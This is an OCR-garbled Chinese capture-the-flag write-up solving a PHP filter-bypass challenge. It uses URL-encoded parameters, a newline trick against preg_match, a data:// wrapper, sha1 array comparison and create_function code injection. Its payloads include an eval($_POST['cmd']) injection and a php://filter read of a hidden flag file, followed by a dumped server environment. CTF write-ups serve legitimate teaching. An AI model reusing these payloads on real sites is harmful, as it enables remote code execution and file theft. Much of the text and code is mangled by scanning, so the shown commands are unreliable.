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AR A S EA T, EHIERTAIN: view-source: BFE M UIIRIS:

<html>

<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->

<head>




%t Base32f#i%, 19FI{58: 1nD3x.php

GFXEIM3YFZYGQ4A=
% base32
1nD3x.php

Vi LT, 9 2D -

& 1B

EXSES

utf8(unicode4rt3)

& 15



highlight file(_ FILE_);

error_reporting(9);

"1nD3x.php";
["shana'];
["passwd'];

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good
Luck!</B><br></font>";

1f( ) {
if (
preg_match('/shana|debu|aqual|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|

sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct]|ech

o|print|pi|\.[\"[\"'|log/i", [ "QUERY_STRING'])
)

die('You seem to want to do something bad?');

if (!preg_match('/http|https/i', ['file'])) {
if (preg_match('/~aqua_is_cute$/"', ["debu']) [ "debu'] 'aqua_is_cute') {
["file"];
echo "Neeeeee! Good Job!<br>";

)i
} else die('fxck you! What do you want to do ?!');

if( ) {
foreach( as ) {
if(preg_match('/[a-zA-Z]/1i", ))
die('fxck you! I hate English!');

if (file_get contents( ) 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

if ( shail( ) shal( ){
extract( ["flag"]);
echo "Very good! you know my password. But what is flag?<br>";

("fxck you! you don't know my password! And you don't know shal! why you come here!");

if(preg_match('/~[a-z0-9]*$/isD", )
preg match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\" |\{[\%|x|\&[\$|\*[\]|]|\
\"|\"'|\=]\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light]|print|echo]|read
|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|[\*/i", ) ) {
die("<br />Neeeeee I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('’, )
b
This is a very simple challenge and if you solve it I will give you a flag. Good Luck
fxck you! I hate English




preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$]|

sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|read]|inc|info|bin|hex|oct]|ech
o|print|pi|\.|\"|\"|log/i", [ 'QUERY_STRING'])
)

die('You seem to want to do something bad?');

$_SERVER[ 'QUERY_STRING'] ZRHNE I iF4], HHlEGETH R+ » 5MAE, #ili:

URL : www . XXX.com/?id=1&mes=2

[ 'QUERY_STRING'] = "id=1&mes=2

FHT $_SERVER[ 'QUERY_STRING' ] N&xXf 4L NEE X AT D, Frili@idURLERIE i &L s —Z B4 %,

Wi GET /7 & A ?shana=1 :

¥ i
This is a very simple challenge and if you :
You seem to want to do something bad?

B H S AT URLE 26 i, 153

73hana=1

b 2>
This is a very simple challenge and if
fxck you! | hate English!

[w ﬂ Elements Console Sources N

@ LoadUrl http://4605ae1:

% 73hana=1
& SplitUrl

JRINENEI T — 2.

2. 84T preg_match()


http://web.chacuo.net/charseturlencode

if (!preg match('/http|https/i', ['file'])) {
if (preg _match('/”aqua_is cute$/', ['debu'])
["file"];
echo "Neeeeee! Good Job!<br>";

["debu'] ‘aqua_is_cute') {

1
J

} else die('fxck you! What do you want to do ?!")

i E A N & $debu HIME N aqua_is_cute , fliJf] %0a #ilk preg_matc() HIULAC, F HK 5o 7 TURLE D -

64ebu=%6lqua_is_%63ute’%0a

Ty r T2 7

} 2>
This is a very simple challenge and if you solve it | will (

Neeeeee! Good Job!
fxck you! | hate English!

[ ﬂ Elements Console Sources Network Performance

& LoadUrl http://4605ae13-6fc6-4c2a-900d-be?
B %64ebu=%61qua_is_%63ute%0a
. | SplitUrl

IR RNENE, Wt USRIHPAT $file = $_GET["file"];

3. $_REQUEST &&it

if( ) {
foreach( as ) {
if(preg_match('/[a-zA-Z]/i", D)

die('fxck you! I hate English!');

$_REQUEST [N U GETHIPOSTHIf% 2, {HPOSTHiIA Emiitsedt, Fril A FHEPOSTHIFIIZ KRN TSt .

/ GET
647%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a




-

} ?>'
This is a very simple challenge and if you solve it | will give you a flag. Good Luck!
Neeeeee! Good Job!

Aqua is the cutest five—-year—old child in the world! Isn't it ?

(w ﬂ Elements  Console  Sources Network Performance Memory HackBar  » o : X
& LoadUrl http://4605ae13-6fc6-4c2a-900d-bed4b919e735a.node3.buuoj.cn/1nD3x.php?
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0
U splitUrl .
z
» | Execute

Postdata (] Referer (] User Agent [ Cookies Clear ALL

WATELE R ) 8, — B vk G Z B R H, B K 1S %0 :
$_REQUEST [{fii 5 php.iniH WECEAHIS, 4 $_GET Al $_PosT HHIRBEAHFIIT, $_PoST MEKF 72 55 $_GET HIfH.

$ REQUEST i£fi#

HAE 2B 51 $_COOKIE MMH, TE Aiffites @ H e, fd FHF124 1) AppliactioniZ it Cookie:

[w ﬂ Elements Console Sources Network Performance Memory Application > £ : xH
B Clear storage C Filter ®© X [J Only show cookies with an issue
Name Value D... |P... [E... |Size|H... [S... |[S... [{ES
Storage username admin 4. |/ S..| 13 M...

» == Local Storage
» == Session Storage
IndexedDB
Web SQL
v @ Cookies
& http://4605ae13-6fc6-4c2a

©

admin

FEVG ] [FIJR Ry, 2 —E4% 717 i%Cookie, FTLl—E kg .

4. file get_contents() WA LE

'debu_debu_aqua’

die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"

fE NI $File FIMH T E ST debu_debu_aqua

n] LI# ] php://input 8% data:// 4eid:



https://www.ucloud.cn/yun/30265.html

e php://input =¥ POSTHE N AR 48 U iU N 2
® data://text/plain,<?php phpinfo()?>

® data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

/ GET
647%657%62%75

61%71%75%61_1is_%63%75%74%65%0A&file=data://text/plain, 864%65%62%75 %64%65%62%75 %61%71%75%61

/ POST
debu=1&file=1

} 2>
This is a very simple challenge and if you solve it | will give you a flag. Good Luck!

Neeeeee! Good Job!
fxck you! you don't know my password! And you don't know shal! why you come here!

[x ﬂ Elements  Console  Sources  Network  Performance Memory HackBar  » a : X

http://4605ae13-6fc6-4c2a-900d-be4b919e735a.node3.buuoj.cn/1nD3x.php?

&l LoadUrl
. _ %64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://
& Spliturl text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61 )
» ) E t
xeeute Post data () Referer () User Agent (] Cookies Clear ALL
debu=18&file=1

5. shal() &t

if ( shai( ) shal(

extract( ["flag"]);
echo "Very good! you know my password. But what is flag?<br>";

} else{
die("fxck you! you don't know my password! And you don't know shal! why you come here!");

shal() JCiEINEHd, B s

/ GET
64%65%62%75
68%61%6e%61 [ |=18%70%61%73%73%77%64[ ]=2

61%71%75%61_1is_%63%75%74%65%0A&file=data://text/plain, %564%65%62%75 %64%65%62%75 %61%71%75%618&%73%

/ POST
debu=1&file=1




} ?>'
This is a very simple challenge and if you solve it | will give you a flag. Good Luck!
Neeeeee! Good Job!

Very good! you know my password. But what is flag?

Neeeeee~! | have disabled all dangerous functions! You can't get my flag =w=

[w ﬂ Elements  Console  Sources Network Performance Memory HackBar » e : X
@ LoadUr %64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&fle=data://
: text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%618&%73%6
g SplitUrl 89%61%6e%61[]=18%70%61%73%73%77%64[]=2 1
» » Execute

Postdata [] Referer [ User Agent (] Cookies Clear ALL

debu=1&file=1

6. create_function fCiLyEAN

if(preg_match('/~[a-z0-9]*$/isD", )
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\" |\{|\%|x|[\&]|\$|\*|\]|]\
<|\"|\"|\=|\?|sou|show]|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|print|echo|read

|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\*/i", ) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
("', )

HApA5 & $code AIAETE $arg A%, HI LM create_function() fRHTVEN

create_function('$a, $b', 'return $a+$b;');

function myfunc($a, ){
return g

b XTAENE XA BRS], MW LMER $code=return $a+$b; yeval($_POST['cmd']);// Zpayload#it iy & HAT, tHEld:

function myfunc($a, ){
return g

1
J

eval( [‘emd']);//}

TE L —Fr B extract($_GET["flag"]); AT AEE T, MM E $code M4 E $arg 1%
HAHE A RER):

wEMER-AES



LA RILEC /S, include "flag.php";
IRZ KB ZE, Jefii ] get_defined_vars() ¥ T A& SEABATHIL, Hi&payload:

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

64%65%62%75=%61%71%75%61_1is_%63%75%74%65%0A&file=data://text/plain, %564%65%62%75 %64%65%62%75 %61%71%75%618&%73%
68%61%6e%61[ |=18%70%61%73%73%77%64[ |=28%66%6c%61%67[%61%72%67 ]=}var_dump(get_defined vars());//8%66%6c%61%67[%63
%61%64%65 [=create_function




12— 5K R 5 P AR B -

Neeeeee! Good Job!
Very good! you know my password. But what is flag?

Al =

‘—-\-"

flagfifEiXE8, {REEZEZIEN? array(13) { ['_GET"]=> array(5) { ['"debu"]=> string(13)
"aqua_is_cute " ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["'shana"]=> array(1) { [0]=>
string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32)

M ime A Sl A Al e AN T L M e Ll AN Wt LAl MYY TN AT e . N

Flagif fEix L, fRAESE|E0?

> array(5)
= > string(13)

"aqua_is_cute "["file"] = > string(32)
"data://text/plain,debu_debu_aqua"["shana"] = > array(1)
{[@] > string(1)
"1"} ["passwd"] = > array(1)
{[@] > string(1)
"2"} ["flag"] = > array(2)
{["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)




"create_function"}} ["_POST"] array(2)
{["debu"] string(1)

"1"["file"] string(1)

"1"} ["_COOKIE"] array(9)

{}["_FILES"] array(9)

{}["_SERVER"] array(58)
{["PHP_EXTRA_CONFIGURE_ARGS"] string(77)

"--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi"["HOSTNAME" ] string(12)
"ca746354539e" [ "PHP_INI_DIR"] string(18)

"/usr/local/etc/php"["SHLVL"] string(1)

"1"["HOME" ] string(14)

"/home/www-data" [ "PHP_LDFLAGS" ] string(34)

"-W1l,-01 -Wl,--hash-style=both -pie"["PHP_CFLAGS"] string(83)

"-fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"["PHP_MD5"] string(@)
""["PHP_VERSION"] string(6)

"7.3.13"["GPG_KEYS"] string(81)

"CBAF69F173A0QFEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" [ "PHP_CPPFLAGS" | string(§
ED)

"-fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE_OFFSET BITS=64"["PHP_ASC_URL"] string(
62)

"https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror"["PHP_URL"] string(58)
"https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror"["PATH" ] string(60)
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"["PHPIZE_DEPS" ] string(78)

"autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c"["PWD"] string(13)

"/var/www/html" [ "PHP_SHA256" ] string(64)

"57ac55fed442d2da650abeb9e6fal61bd3a98ba6528c029f076f8bbad3dd5c228" [ "FLAG" | string(4)

"null"["USER"] string(8)

"www-data"["HTTP_CONNECTION"] string(5)

"close"["HTTP_X_FORWARDED PROTO"] string(4)

"http"["HTTP_X_FORWARDED FOR"] string(26)

"223.104.176.195, 127.0.0.1"["HTTP_UPGRADE_INSECURE_REQUESTS"] string(1)

"1"["HTTP_REFERER"] string(318)
"http://9faafca8-d5cl-4lec-alef-a5810f417dca.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61 is_ %63%75%74%65%
PA&file=data://text/plain,%64%65%62%75 %64%65%62%75 %61%71%75%618&%73%68%61%6e%61[ |=18&%70%61%73%73%77%64[ |=28%66%
6C%61%67 [ %61%72%67 1=}var_dump(get_defined_vars());//&%66%6c%61%67 [ %63%6f%64%65]=create_function"[

"HTTP_ORIGIN"] string(58)
"http://9faafca8-d5cl-4lec-alef-a5810f417dca.node3.buuoj.cn"["HTTP_CONTENT_TYPE"] string(33)
"application/x-www-form-urlencoded" [ "HTTP_CACHE_CONTROL"] string(9)

"max-age=0"["HTTP_ACCEPT_LANGUAGE" ] string(59)

"zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2" [ "HTTP_ACCEPT_ENCODING" ] string(13)

"gzip, deflate"["HTTP_ACCEPT"] string(74)
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"["HTTP_CONTENT_LENGTH"] string(2
)

"13"["HTTP_USER_AGENT"] string(82)

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0"["HTTP_HOST"] string(51)
"9faafca8-d5cl-4lec-alef-a5810f417dca.node3.buuoj.cn"["SCRIPT_FILENAME"] string(23)
"/var/www/html/1nD3x.php" [ "REDIRECT_STATUS"] string(3)

200" ["SERVER_NAME"] string(9)

"localhost"["SERVER_PORT"] string(2)

"80"["SERVER_ADDR"] string(14)

"172.16.134.139" [ "REMOTE_PORT" ] string(5)

"48922" [ "REMOTE_ADDR" ] string(13)

"172.16.128.15" [ "SERVER_SOFTWARE" ] string(12)

"nginx/1.16.1"[ "GATEWAY_INTERFACE" ] string(7)

"CGI/1.1"["REQUEST_SCHEME"] string(4)

"http"["SERVER_PROTOCOL"] string(8)

"HTTP/1.1"["DOCUMENT_ROOT"] string(13)

"/var/www/html" [ "DOCUMENT_URI" ] string(10)

"/1nD3x.php" [ "REQUEST_URI"] string(260)

o/ [




075%618%73%68%61%6e%61 [ 1=18%70%61%73%73%77%64[ 1=28%66%6C%61%67 [ %61%72%67 ] =
c%61%67 [ %63%61%64%65]=create_function"[
"SCRIPT_NAME"] string(10)
"/1nD3x.php" [ "CONTENT_LENGTH"] string(2)
"13"["CONTENT_TYPE"] string(33)
"application/x-www-form-urlencoded"["REQUEST_METHOD" ] string(4)
"POST"["QUERY_STRING"] string(249)
"%64%65%62%75=%61%71%75%61_1is_ %63%75%74%65%0A&file=data://text/plain, %64%65%62%75_ %64%65%62%75_%61%71%75%618&%7 3%
68%61%6e%61 [ ]=18%70%61%73%73%77%64[ ]=28%66%6C%61%67 [%61%72%67 ]=}var_dump(get_defined_vars());//8%66%6c%61%67[%63)
661%64%65|=create_function"[
"FCGI_ROLE"] string(9)
"RESPONDER" [ "PHP_SELF"] string(10)
"/1nD3x.php" ["REQUEST TIME_FLOAT"] float(1608270639.3536) [ "REQUEST TIME"] int(1608270639)[ "argv" ]

string(249)

"%64%65%62%75=%61%71%75%61_is_ %63%75%74%65%0A&file=data://text/plain, %64%65%62%75_ %64%65%62%75_ %61%71%75%618&%7 3%
68%61%6e%61 [ ]=18%70%61%73%73%77%64[ ]=28%66%6C%61%67 [%61%72%67 ]=}var_dump(get_defined vars());//8%66%6c%61%67 [%63
%61%64%65 |=create_function"} [

"argc"] int(1)} ["_REQUEST"] array(5)
{["debu"] string(1)
"1"["file"] string(1)
"1"["shana"] array(1)
{[0] string(1)
"1"} ["passwd"] array(1)
{[0] string(1)
"2"} ["flag"] array(2)
{["arg"] string(32)
"}var_dump(get_defined vars());//"["code"] string(15)
"create_function"}} ["file"] string(32)
"data://text/plain,debu_debu_aqua"["shana"] array(1)
{[9] string(1)
"1"} ["passwd"] array(1)
{[9] string(1)
"2"} ["arg"] string(32)
"}var_dump(get_defined_vars());//"["code"] string(15)
"create_function"["value"] array(2)
{["arg"] string(32)
"}var_dump(get_defined_vars());//"["code"] string(15)
"create_function"} ["ffffffff11111114ggggg"] string(89)
"Baka, do you think it's so easy to get my flag? I hid the real flag in realfl4g.php 23333"}

HERTA KBS RER, flaghl e realflag. php TLTH H
FIH require() , RALE include() :

require(php://filter/read=convert.base64- encode/resource=realfl4g.php);//

64%65%62%75=%61%71%75%61_1is_%63%75%74%65%0A&file=data://text/plain, 564%65%62%75 %64%65%62%75 %61%71%75%618&%73%
68%61%6e%61[ |=18%70%61%73%73%77%64[ |=28%66%6C%561%67[%61%572%67 |=}; require (%$62%61%73%65%36%34_%64%65%63%61%64%65 (|
VhMWZsNGcucGhw) ) ; var_dump (get_defined _vars());//8&%66%6c%61%67[%63%61%64%65 |=create_function

/ POST
debu=1&file=1




Nt Nt Nt N

think it's so easy to get my flag? | hid the real flag in realfl4g.php 23333" ["f4ke_flag"]=>
string(28) "BJD{1am_a_fake_f41111g23333}" }

[(w ﬂ Elements Console Sources Network Performance Memory HackBar » e : X

U/0U T /JUUG/UU T[T /UT U //0U T ZUT I /UT J /70T T 00— /Uuu /0uGe Juu T Juur | /oud

@ LoadUrl %72%67]=}:require(%62%61% 73%65%36%34_%64%65%63%6f%64%65(C

0 SolitUr] mVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6¢c%61%67[%
% °P 63%6f%64%65]=create_function p
» | Execute

Post data [ ) Referer (] User Agent (] Cookies Clear ALL

debu=1&file=1

'Amore

. Www.gem- Love.com

://filter/read=convert.base6d-encode/resource=real

-php";
explode(' ', );

EETHN
(%8F%97%81%C5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c 2%9 c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cbk%d2%9a%91%9c%90
%9b%9a%d0%8d%9a%8c%90%8a%8d%9 c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8F%97%8F%)

it iy % payload:

/ GET
debu=aqua_is_cute%@a&file=data://text/plain,debu_debu_aqua&shana[ |=1&passwd[ |=2&flag[arg]=};require(php://filte
r/read=convert.base64-encode/resource=realfl4g.php);var_dump(get _defined vars());//&flag[code]=create_function

64%65%62%75=%61%71%75%61_1is_%63%75%74%65%0A&File=data: //text/plain, 464%65%62%75 %64%65%62%75 %61%71%75%618%73%
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